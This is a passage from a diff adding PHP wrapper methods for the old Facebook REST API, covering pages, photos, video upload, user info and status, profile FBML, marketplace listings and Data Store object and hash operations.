+  }
+
+  /**
+   * Returns true if the given user is an admin for the passed page.
+   *
+   * @param int $page_id  target page id
+   * @param int $uid      (Optional) user id (defaults to the logged-in user)
+   *
+   * @return bool  true on success
+   */
+  public function &pages_isAdmin($page_id, $uid = null) {
+    return $this->call_method('facebook.pages.isAdmin',
+        array('page_id' => $page_id,
+              'uid' => $uid));
+  }
+
+  /**
+   * Returns whether or not the given page has added the application.
+   *
+   * @param int $page_id  target page id
+   *
+   * @return bool  true on success
+   */
+  public function &pages_isAppAdded($page_id) {
+    return $this->call_method('facebook.pages.isAppAdded',
+        array('page_id' => $page_id));
+  }
+
+  /**
+   * Returns true if logged in user is a fan for the passed page.
+   *
+   * @param int $page_id target page id
+   * @param int $uid user to compare.  If empty, the logged in user.
+   *
+   * @return bool  true on success
+   */
+  public function &pages_isFan($page_id, $uid = null) {
+    return $this->call_method('facebook.pages.isFan',
+        array('page_id' => $page_id,
+              'uid' => $uid));
+  }
+
+  /**
+   * Adds a tag with the given information to a photo. See the wiki for details:
+   *
+   *  http://wiki.developers.facebook.com/index.php/Photos.addTag
+   *
+   * @param int $pid          The ID of the photo to be tagged
+   * @param int $tag_uid      The ID of the user being tagged. You must specify
+   *                          either the $tag_uid or the $tag_text parameter
+   *                          (unless $tags is specified).
+   * @param string $tag_text  Some text identifying the person being tagged.
+   *                          You must specify either the $tag_uid or $tag_text
+   *                          parameter (unless $tags is specified).
+   * @param float $x          The horizontal position of the tag, as a
+   *                          percentage from 0 to 100, from the left of the
+   *                          photo.
+   * @param float $y          The vertical position of the tag, as a percentage
+   *                          from 0 to 100, from the top of the photo.
+   * @param array $tags       (Optional) An array of maps, where each map
+   *                          can contain the tag_uid, tag_text, x, and y
+   *                          parameters defined above.  If specified, the
+   *                          individual arguments are ignored.
+   * @param int $owner_uid    (Optional)  The user ID of the user whose photo
+   *                          you are tagging. If this parameter is not
+   *                          specified, then it defaults to the session user.
+   *
+   * @return bool  true on success
+   */
+  public function &photos_addTag($pid,
+                                 $tag_uid,
+                                 $tag_text,
+                                 $x,
+                                 $y,
+                                 $tags,
+                                 $owner_uid=0) {
+    return $this->call_method('facebook.photos.addTag',
+        array('pid' => $pid,
+              'tag_uid' => $tag_uid,
+              'tag_text' => $tag_text,
+              'x' => $x,
+              'y' => $y,
+              'tags' => (is_array($tags)) ? json_encode($tags) : null,
+              'owner_uid' => $this->get_uid($owner_uid)));
+  }
+
+  /**
+   * Creates and returns a new album owned by the specified user or the current
+   * session user.
+   *
+   * @param string $name         The name of the album.
+   * @param string $description  (Optional) A description of the album.
+   * @param string $location     (Optional) A description of the location.
+   * @param string $visible      (Optional) A privacy setting for the album.
+   *                             One of 'friends', 'friends-of-friends',
+   *                             'networks', or 'everyone'.  Default 'everyone'.
+   * @param int $uid             (Optional) User id for creating the album; if
+   *                             not specified, the session user is used.
+   *
+   * @return array  An album object
+   */
+  public function &photos_createAlbum($name,
+                                      $description='',
+                                      $location='',
+                                      $visible='',
+                                      $uid=0) {
+    return $this->call_method('facebook.photos.createAlbum',
+        array('name' => $name,
+              'description' => $description,
+              'location' => $location,
+              'visible' => $visible,
+              'uid' => $this->get_uid($uid)));
+  }
+
+  /**
+   * Returns photos according to the filters specified.
+   *
+   * @param int $subj_id  (Optional) Filter by uid of user tagged in the photos.
+   * @param int $aid      (Optional) Filter by an album, as returned by
+   *                      photos_getAlbums.
+   * @param string $pids   (Optional) Restrict to a comma-separated list of pids
+   *
+   * Note that at least one of these parameters needs to be specified, or an
+   * error is returned.
+   *
+   * @return array  An array of photo objects.
+   */
+  public function &photos_get($subj_id, $aid, $pids) {
+    return $this->call_method('facebook.photos.get',
+      array('subj_id' => $subj_id, 'aid' => $aid, 'pids' => $pids));
+  }
+
+  /**
+   * Returns the albums created by the given user.
+   *
+   * @param int $uid      (Optional) The uid of the user whose albums you want.
+   *                       A null will return the albums of the session user.
+   * @param string $aids  (Optional) A comma-separated list of aids to restricti
+   *                       the query.
+   *
+   * Note that at least one of the (uid, aids) parameters must be specified.
+   *
+   * @returns an array of album objects.
+   */
+  public function &photos_getAlbums($uid, $aids) {
+    return $this->call_method('facebook.photos.getAlbums',
+      array('uid' => $uid,
+            'aids' => $aids));
+  }
+
+  /**
+   * Returns the tags on all photos specified.
+   *
+   * @param string $pids  A list of pids to query
+   *
+   * @return array  An array of photo tag objects, which include pid,
+   *                subject uid, and two floating-point numbers (xcoord, ycoord)
+   *                for tag pixel location.
+   */
+  public function &photos_getTags($pids) {
+    return $this->call_method('facebook.photos.getTags',
+      array('pids' => $pids));
+  }
+
+  /**
+   * Uploads a photo.
+   *
+   * @param string $file     The location of the photo on the local filesystem.
+   * @param int $aid         (Optional) The album into which to upload the
+   *                         photo.
+   * @param string $caption  (Optional) A caption for the photo.
+   * @param int uid          (Optional) The user ID of the user whose photo you
+   *                         are uploading
+   *
+   * @return array  An array of user objects
+   */
+  public function photos_upload($file, $aid=null, $caption=null, $uid=null) {
+    return $this->call_upload_method('facebook.photos.upload',
+                                     array('aid' => $aid,
+                                           'caption' => $caption,
+                                           'uid' => $uid),
+                                     $file);
+  }
+
+
+  /**
+   * Uploads a video.
+   *
+   * @param  string $file        The location of the video on the local filesystem.
+   * @param  string $title       (Optional) A title for the video. Titles over 65 characters in length will be truncated.
+   * @param  string $description (Optional) A description for the video.
+   *
+   * @return array  An array with the video's ID, title, description, and a link to view it on Facebook.
+   */
+  public function video_upload($file, $title=null, $description=null) {
+    return $this->call_upload_method('facebook.video.upload',
+                                     array('title' => $title,
+                                           'description' => $description),
+                                     $file,
+                                     Facebook::get_facebook_url('api-video') . '/restserver.php');
+  }
+
+  /**
+   * Returns an array with the video limitations imposed on the current session's
+   * associated user. Maximum length is measured in seconds; maximum size is
+   * measured in bytes.
+   *
+   * @return array  Array with "length" and "size" keys
+   */
+  public function &video_getUploadLimits() {
+    return $this->call_method('facebook.video.getUploadLimits');
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of users.
+   *
+   * @param string $uids    A comma-separated list of user ids
+   * @param string $fields  A comma-separated list of info field names desired
+   *
+   * @return array  An array of user objects
+   */
+  public function &users_getInfo($uids, $fields) {
+    return $this->call_method('facebook.users.getInfo',
+        array('uids' => $uids, 'fields' => $fields));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of users. A
+   * session key must not be specified. Only data about users that have
+   * authorized your application will be returned.
+   *
+   * Check the wiki for fields that can be queried through this API call.
+   * Data returned from here should not be used for rendering to application
+   * users, use users.getInfo instead, so that proper privacy rules will be
+   * applied.
+   *
+   * @param string $uids    A comma-separated list of user ids
+   * @param string $fields  A comma-separated list of info field names desired
+   *
+   * @return array  An array of user objects
+   */
+  public function &users_getStandardInfo($uids, $fields) {
+    return $this->call_method('facebook.users.getStandardInfo',
+        array('uids' => $uids, 'fields' => $fields));
+  }
+
+  /**
+   * Returns the user corresponding to the current session object.
+   *
+   * @return integer  User id
+   */
+  public function &users_getLoggedInUser() {
+    return $this->call_method('facebook.users.getLoggedInUser');
+  }
+
+  /**
+   * Returns 1 if the user has the specified permission, 0 otherwise.
+   * http://wiki.developers.facebook.com/index.php/Users.hasAppPermission
+   *
+   * @return integer  1 or 0
+   */
+  public function &users_hasAppPermission($ext_perm, $uid=null) {
+    return $this->call_method('facebook.users.hasAppPermission',
+        array('ext_perm' => $ext_perm, 'uid' => $uid));
+  }
+
+  /**
+   * Returns whether or not the user corresponding to the current
+   * session object has the give the app basic authorization.
+   *
+   * @return boolean  true if the user has authorized the app
+   */
+  public function &users_isAppUser($uid=null) {
+    if ($uid === null && isset($this->is_user)) {
+      return $this->is_user;
+    }
+
+    return $this->call_method('facebook.users.isAppUser', array('uid' => $uid));
+  }
+
+  /**
+   * Returns whether or not the user corresponding to the current
+   * session object is verified by Facebook. See the documentation
+   * for Users.isVerified for details.
+   *
+   * @return boolean  true if the user is verified
+   */
+  public function &users_isVerified() {
+    return $this->call_method('facebook.users.isVerified');
+  }
+
+  /**
+   * Sets the users' current status message. Message does NOT contain the
+   * word "is" , so make sure to include a verb.
+   *
+   * Example: setStatus("is loving the API!")
+   * will produce the status "Luke is loving the API!"
+   *
+   * @param string $status                text-only message to set
+   * @param int    $uid                   user to set for (defaults to the
+   *                                      logged-in user)
+   * @param bool   $clear                 whether or not to clear the status,
+   *                                      instead of setting it
+   * @param bool   $status_includes_verb  if true, the word "is" will *not* be
+   *                                      prepended to the status message
+   *
+   * @return boolean
+   */
+  public function &users_setStatus($status,
+                                   $uid = null,
+                                   $clear = false,
+                                   $status_includes_verb = true) {
+    $args = array(
+      'status' => $status,
+      'uid' => $uid,
+      'clear' => $clear,
+      'status_includes_verb' => $status_includes_verb,
+    );
+    return $this->call_method('facebook.users.setStatus', $args);
+  }
+
+  /**
+   * Sets the FBML for the profile of the user attached to this session.
+   *
+   * @param   string   $markup           The FBML that describes the profile
+   *                                     presence of this app for the user
+   * @param   int      $uid              The user
+   * @param   string   $profile          Profile FBML
+   * @param   string   $profile_action   Profile action FBML (deprecated)
+   * @param   string   $mobile_profile   Mobile profile FBML
+   * @param   string   $profile_main     Main Tab profile FBML
+   *
+   * @return  array  A list of strings describing any compile errors for the
+   *                 submitted FBML
+   */
+  function profile_setFBML($markup,
+                           $uid=null,
+                           $profile='',
+                           $profile_action='',
+                           $mobile_profile='',
+                           $profile_main='') {
+    return $this->call_method('facebook.profile.setFBML',
+        array('markup' => $markup,
+              'uid' => $uid,
+              'profile' => $profile,
+              'profile_action' => $profile_action,
+              'mobile_profile' => $mobile_profile,
+              'profile_main' => $profile_main));
+  }
+
+  /**
+   * Gets the FBML for the profile box that is currently set for a user's
+   * profile (your application set the FBML previously by calling the
+   * profile.setFBML method).
+   *
+   * @param int $uid   (Optional) User id to lookup; defaults to session.
+   * @param int $type  (Optional) 1 for original style, 2 for profile_main boxes
+   *
+   * @return string  The FBML
+   */
+  public function &profile_getFBML($uid=null, $type=null) {
+    return $this->call_method('facebook.profile.getFBML',
+        array('uid' => $uid,
+              'type' => $type));
+  }
+
+  /**
+   * Returns the specified user's application info section for the calling
+   * application. These info sections have either been set via a previous
+   * profile.setInfo call or by the user editing them directly.
+   *
+   * @param int $uid  (Optional) User id to lookup; defaults to session.
+   *
+   * @return array  Info fields for the current user.  See wiki for structure:
+   *
+   *  http://wiki.developers.facebook.com/index.php/Profile.getInfo
+   *
+   */
+  public function &profile_getInfo($uid=null) {
+    return $this->call_method('facebook.profile.getInfo',
+        array('uid' => $uid));
+  }
+
+  /**
+   * Returns the options associated with the specified info field for an
+   * application info section.
+   *
+   * @param string $field  The title of the field
+   *
+   * @return array  An array of info options.
+   */
+  public function &profile_getInfoOptions($field) {
+    return $this->call_method('facebook.profile.getInfoOptions',
+        array('field' => $field));
+  }
+
+  /**
+   * Configures an application info section that the specified user can install
+   * on the Info tab of her profile.  For details on the structure of an info
+   * field, please see:
+   *
+   *  http://wiki.developers.facebook.com/index.php/Profile.setInfo
+   *
+   * @param string $title       Title / header of the info section
+   * @param int $type           1 for text-only, 5 for thumbnail views
+   * @param array $info_fields  An array of info fields. See wiki for details.
+   * @param int $uid            (Optional)
+   *
+   * @return bool  true on success
+   */
+  public function &profile_setInfo($title, $type, $info_fields, $uid=null) {
+    return $this->call_method('facebook.profile.setInfo',
+        array('uid' => $uid,
+              'type' => $type,
+              'title'   => $title,
+              'info_fields' => json_encode($info_fields)));
+  }
+
+  /**
+   * Specifies the objects for a field for an application info section. These
+   * options populate the typeahead for a thumbnail.
+   *
+   * @param string $field   The title of the field
+   * @param array $options  An array of items for a thumbnail, including
+   *                        'label', 'link', and optionally 'image',
+   *                        'description' and 'sublabel'
+   *
+   * @return bool  true on success
+   */
+  public function profile_setInfoOptions($field, $options) {
+    return $this->call_method('facebook.profile.setInfoOptions',
+        array('field'   => $field,
+              'options' => json_encode($options)));
+  }
+
+  /**
+   * Get all the marketplace categories.
+   *
+   * @return array  A list of category names
+   */
+  function marketplace_getCategories() {
+    return $this->call_method('facebook.marketplace.getCategories',
+        array());
+  }
+
+  /**
+   * Get all the marketplace subcategories for a particular category.
+   *
+   * @param  category  The category for which we are pulling subcategories
+   *
+   * @return array A list of subcategory names
+   */
+  function marketplace_getSubCategories($category) {
+    return $this->call_method('facebook.marketplace.getSubCategories',
+        array('category' => $category));
+  }
+
+  /**
+   * Get listings by either listing_id or user.
+   *
+   * @param listing_ids   An array of listing_ids (optional)
+   * @param uids          An array of user ids (optional)
+   *
+   * @return array  The data for matched listings
+   */
+  function marketplace_getListings($listing_ids, $uids) {
+    return $this->call_method('facebook.marketplace.getListings',
+        array('listing_ids' => $listing_ids, 'uids' => $uids));
+  }
+
+  /**
+   * Search for Marketplace listings.  All arguments are optional, though at
+   * least one must be filled out to retrieve results.
+   *
+   * @param category     The category in which to search (optional)
+   * @param subcategory  The subcategory in which to search (optional)
+   * @param query        A query string (optional)
+   *
+   * @return array  The data for matched listings
+   */
+  function marketplace_search($category, $subcategory, $query) {
+    return $this->call_method('facebook.marketplace.search',
+        array('category' => $category,
+              'subcategory' => $subcategory,
+              'query' => $query));
+  }
+
+  /**
+   * Remove a listing from Marketplace.
+   *
+   * @param listing_id  The id of the listing to be removed
+   * @param status      'SUCCESS', 'NOT_SUCCESS', or 'DEFAULT'
+   *
+   * @return bool  True on success
+   */
+  function marketplace_removeListing($listing_id,
+                                     $status='DEFAULT',
+                                     $uid=null) {
+    return $this->call_method('facebook.marketplace.removeListing',
+        array('listing_id' => $listing_id,
+              'status' => $status,
+              'uid' => $uid));
+  }
+
+  /**
+   * Create/modify a Marketplace listing for the loggedinuser.
+   *
+   * @param int              listing_id  The id of a listing to be modified, 0
+   *                                     for a new listing.
+   * @param show_on_profile  bool        Should we show this listing on the
+   *                                     user's profile
+   * @param listing_attrs    array       An array of the listing data
+   *
+   * @return int  The listing_id (unchanged if modifying an existing listing).
+   */
+  function marketplace_createListing($listing_id,
+                                     $show_on_profile,
+                                     $attrs,
+                                     $uid=null) {
+    return $this->call_method('facebook.marketplace.createListing',
+        array('listing_id' => $listing_id,
+              'show_on_profile' => $show_on_profile,
+              'listing_attrs' => json_encode($attrs),
+              'uid' => $uid));
+  }
+
+  /////////////////////////////////////////////////////////////////////////////
+  // Data Store API
+
+  /**
+   * Set a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @param  value      preferece's value
+   * @param  uid        the user id (defaults to current session user)
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   *    API_EC_PERMISSION_OTHER_USER
+   */
+  public function &data_setUserPreference($pref_id, $value, $uid = null) {
+    return $this->call_method('facebook.data.setUserPreference',
+       array('pref_id' => $pref_id,
+             'value' => $value,
+             'uid' => $this->get_uid($uid)));
+  }
+
+  /**
+   * Set a user's all preferences for this application.
+   *
+   * @param  values     preferece values in an associative arrays
+   * @param  replace    whether to replace all existing preferences or
+   *                    merge into them.
+   * @param  uid        the user id (defaults to current session user)
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   *    API_EC_PERMISSION_OTHER_USER
+   */
+  public function &data_setUserPreferences($values,
+                                           $replace = false,
+                                           $uid = null) {
+    return $this->call_method('facebook.data.setUserPreferences',
+       array('values' => json_encode($values),
+             'replace' => $replace,
+             'uid' => $this->get_uid($uid)));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @param  uid        the user id (defaults to current session user)
+   * @return            preference's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   *    API_EC_PERMISSION_OTHER_USER
+   */
+  public function &data_getUserPreference($pref_id, $uid = null) {
+    return $this->call_method('facebook.data.getUserPreference',
+       array('pref_id' => $pref_id,
+             'uid' => $this->get_uid($uid)));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @param  uid        the user id (defaults to current session user)
+   * @return            preference values
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   *    API_EC_PERMISSION_OTHER_USER
+   */
+  public function &data_getUserPreferences($uid = null) {
+    return $this->call_method('facebook.data.getUserPreferences',
+       array('uid' => $this->get_uid($uid)));
+  }
+
+  /**
+   * Create a new object type.
+   *
+   * @param  name       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_createObjectType($name) {
+    return $this->call_method('facebook.data.createObjectType',
+       array('name' => $name));
+  }
+
+  /**
+   * Delete an object type.
+   *
+   * @param  obj_type       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_dropObjectType($obj_type) {
+    return $this->call_method('facebook.data.dropObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Rename an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  new_name       new object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameObjectType($obj_type, $new_name) {
+    return $this->call_method('facebook.data.renameObjectType',
+       array('obj_type' => $obj_type,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Add a new property to an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  prop_name      name of the property to add
+   * @param  prop_type      1: integer; 2: string; 3: text blob
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_defineObjectProperty($obj_type,
+                                             $prop_name,
+                                             $prop_type) {
+    return $this->call_method('facebook.data.defineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'prop_type' => $prop_type));
+  }
+
+  /**
+   * Remove a previously defined property from an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_undefineObjectProperty($obj_type, $prop_name) {
+    return $this->call_method('facebook.data.undefineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Rename a previously defined property of an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to rename
+   * @param  new_name      new name to use
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameObjectProperty($obj_type, $prop_name,
+                                            $new_name) {
+    return $this->call_method('facebook.data.renameObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Retrieve a list of all object types that have defined for the application.
+   *
+   * @return               a list of object type names
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectTypes() {
+    return $this->call_method('facebook.data.getObjectTypes');
+  }
+
+  /**
+   * Get definitions of all properties of an object type.
+   *
+   * @param obj_type       object type's name
+   * @return               pairs of property name and property types
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectType($obj_type) {
+    return $this->call_method('facebook.data.getObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Create a new object.
+   *
+   * @param  obj_type      object type's name
+   * @param  properties    (optional) properties to set initially
+   * @return               newly created object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_createObject($obj_type, $properties = null) {
+    return $this->call_method('facebook.data.createObject',
+       array('obj_type' => $obj_type,
+             'properties' => json_encode($properties)));
+  }
+
+  /**
+   * Update an existing object.
+   *
+   * @param  obj_id        object's id
+   * @param  properties    new properties
+   * @param  replace       true for replacing existing properties;
+   *                       false for merging
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_updateObject($obj_id, $properties, $replace = false) {
+    return $this->call_method('facebook.data.updateObject',
+       array('obj_id' => $obj_id,
+             'properties' => json_encode($properties),
+             'replace' => $replace));
+  }
+
+  /**
+   * Delete an existing object.
+   *
+   * @param  obj_id        object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_deleteObject($obj_id) {
+    return $this->call_method('facebook.data.deleteObject',
+       array('obj_id' => $obj_id));
+  }
+
+  /**
+   * Delete a list of objects.
+   *
+   * @param  obj_ids       objects to delete
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_deleteObjects($obj_ids) {
+    return $this->call_method('facebook.data.deleteObjects',
+       array('obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Get a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @return               individual property's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectProperty($obj_id, $prop_name) {
+    return $this->call_method('facebook.data.getObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Get properties of an object.
+   *
+   * @param  obj_id      object's id
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObject($obj_id, $prop_names = null) {
+    return $this->call_method('facebook.data.getObject',
+       array('obj_id' => $obj_id,
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Get properties of a list of objects.
+   *
+   * @param  obj_ids     object ids
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjects($obj_ids, $prop_names = null) {
+    return $this->call_method('facebook.data.getObjects',
+       array('obj_ids' => json_encode($obj_ids),
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Set a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @param  prop_value    new value to set
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setObjectProperty($obj_id, $prop_name,
+                                         $prop_value) {
+    return $this->call_method('facebook.data.setObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name,
+             'prop_value' => $prop_value));
+  }
+
+  /**
+   * Read hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     (optional) individual property's name
+   * @return               hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getHashValue($obj_type, $key, $prop_name = null) {
+    return $this->call_method('facebook.data.getHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Write hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  value         hash value
+   * @param  prop_name     (optional) individual property's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setHashValue($obj_type,
+                                     $key,
+                                     $value,
+                                     $prop_name = null) {
+    return $this->call_method('facebook.data.setHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'value' => $value,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Increase a hash value by specified increment atomically.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     individual property's name
+   * @param  increment     (optional) default is 1
+   * @return               incremented hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_incHashValue($obj_type,
+                                     $key,
+                                     $prop_name,
+                                     $increment = 1) {
+    return $this->call_method('facebook.data.incHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name,
+             'increment' => $increment));
+  }
+
+  /**
+   * Remove a hash key and its values.
+   *
+   * @param  obj_type    object type's name
+   * @param  key         hash key
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeHashKey($obj_type, $key) {
+    return $this->call_method('facebook.data.removeHashKey',
+       array('obj_type' => $obj_type,
+             'key' => $key));
+  }
+
+  /**
+   * Remove hash keys and their values.
+   *
+   * @param  obj_type    object type's name
+   * @param  keys        hash keys
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeHashKeys($obj_type, $keys) {
+    return $this->call_method('facebook.data.removeHashKeys',
+       array('obj_type' => $obj_type,
+             'keys' => json_encode($keys)));
+  }
+
+  /**
+   * Define an object association.
+   *
+   * @param  name        name of this association
